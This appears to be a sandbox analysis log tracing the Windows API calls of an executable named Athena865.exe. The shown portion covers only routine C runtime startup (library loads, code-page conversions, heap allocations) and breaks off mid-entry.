# Flog Txt Version 1 # Analyzer Version: 3.1.1 # Analyzer Build Date: Sep 16 2019 10:43:25 # Log Creation Date: 28.09.2019 04:39:06.694 Process: id = "1" image_name = "cusersgustavodesktopathena865.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersgustavodesktopathena865.exe" page_root = "0x4d6c5000" os_pid = "0x9e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x9e4 [0029.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x44fb84 | out: lpSystemTimeAsFileTime=0x44fb84*(dwLowDateTime=0xb9cd3220, dwHighDateTime=0x1d575b6)) [0029.675] GetCurrentThreadId () returned 0x9e4 [0029.675] GetCurrentProcessId () returned 0x9e0 [0029.675] QueryPerformanceCounter (in: lpPerformanceCount=0x44fb7c | out: lpPerformanceCount=0x44fb7c*=14999470611) returned 1 [0029.690] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.690] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.690] GetLastError () returned 0x57 [0029.690] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.690] GetLastError () returned 0x57 [0029.690] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0029.691] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0029.691] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.691] GetLastError () returned 0x57 [0029.691] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0029.691] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0029.691] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.691] GetLastError () returned 0x57 [0029.691] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74650000 [0029.693] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0029.694] GetProcessHeap () returned 0x4f0000 [0029.694] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.694] GetLastError () returned 0x57 [0029.694] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0029.694] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.694] GetLastError () returned 0x57 [0029.695] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0029.695] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0029.695] GetLastError () returned 0x57 [0029.695] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0029.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x364) returned 0x504a30 [0029.695] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0029.695] SetLastError (dwErrCode=0x57) [0029.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc00) returned 0x504da0 [0029.696] GetStartupInfoW (in: lpStartupInfo=0x44fab8 | out: lpStartupInfo=0x44fab8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x131d90, hStdOutput=0xc640721e, hStdError=0xfffffffe)) [0029.696] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0029.696] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0029.697] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0029.697] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe\" " [0029.697] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe\" " [0029.697] GetLastError () returned 0x57 [0029.697] SetLastError (dwErrCode=0x57) [0029.697] GetLastError () returned 0x57 [0029.697] SetLastError (dwErrCode=0x57) [0029.697] GetACP () returned 0x4e4 [0029.697] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x220) returned 0x5046e8 [0029.697] IsValidCodePage (CodePage=0x4e4) returned 1 [0029.697] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x44fae8 | out: lpCPInfo=0x44fae8) returned 1 [0029.697] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x44f3b0 | out: lpCPInfo=0x44f3b0) returned 1 [0029.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x44f9c4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x44f9c4, cbMultiByte=256, lpWideCharStr=0x44f148, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.697] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x44f3c4 | out: lpCharType=0x44f3c4) returned 1 [0029.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x44f9c4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x44f9c4, cbMultiByte=256, lpWideCharStr=0x44f0f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0029.697] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0029.697] GetLastError () returned 0x57 [0029.697] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0029.697] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0029.698] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0029.698] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x44eee8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0029.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x44f8c4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÆ\x84\x11Æ", lpUsedDefaultChar=0x0) returned 256 [0029.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x44f9c4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0029.698] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x44f9c4, cbMultiByte=256, lpWideCharStr=0x44f118, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0029.698] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0029.698] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x44ef08, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0029.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x44f7c4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÆ\x84\x11Æ", lpUsedDefaultChar=0x0) returned 256 [0029.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x504910 [0029.698] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x154318, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersgustavodesktopathena865.exe")) returned 0x47 [0029.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x50) returned 0x5061a8 [0029.698] RtlInitializeSListHead (in: ListHead=0x153f28 | out: ListHead=0x153f28) [0029.698] GetLastError () returned 0x0 [0029.698] SetLastError (dwErrCode=0x0) [0029.698] GetEnvironmentStringsW () returned 0x506200* [0029.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0029.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x565) returned 0x506cd8 [0029.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x506cd8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0029.698] FreeEnvironmentStringsW (penv=0x506200) returned 1 [0029.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x98) returned 0x506200 [0029.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1f) returned 0x5060f0 [0029.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x36) returned 0x5062a0 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x37) returned 0x5062e0 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x3c) returned 0x506320 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x31) returned 0x506368 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x17) returned 0x504998 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x24) returned 0x5063a8 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x14) returned 0x5063d8 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xd) returned 0x4fef50 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x25) returned 0x5063f8 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x39) returned 0x506428 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x18) returned 0x506470 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x17) returned 0x506490 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xe) returned 0x4fef68 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x69) returned 0x5064b0 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x3e) returned 0x506528 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1b) returned 0x506118 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1d) returned 0x506140 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x48) returned 0x506570 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x12) returned 0x5065c0 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x18) returned 0x5065e0 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1b) returned 0x506168 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x24) returned 0x506600 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x29) returned 0x506630 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1e) returned 0x507260 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x41) returned 0x507a48 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x17) returned 0x507a98 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xf) returned 0x4fef80 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x16) returned 0x507ab8 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x2a) returned 0x507ad8 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x29) returned 0x507b10 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x15) returned 0x507b48 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x1e) returned 0x507288 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x2a) returned 0x507b68 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x12) returned 0x507ba0 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x18) returned 0x507bc0 [0029.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x46) returned 0x507be0 [0029.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x506cd8 | out: hHeap=0x4f0000) returned 1 [0029.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x800) returned 0x506668 [0029.700] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0029.700] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x131810) returned 0x0 [0029.700] GetStartupInfoW 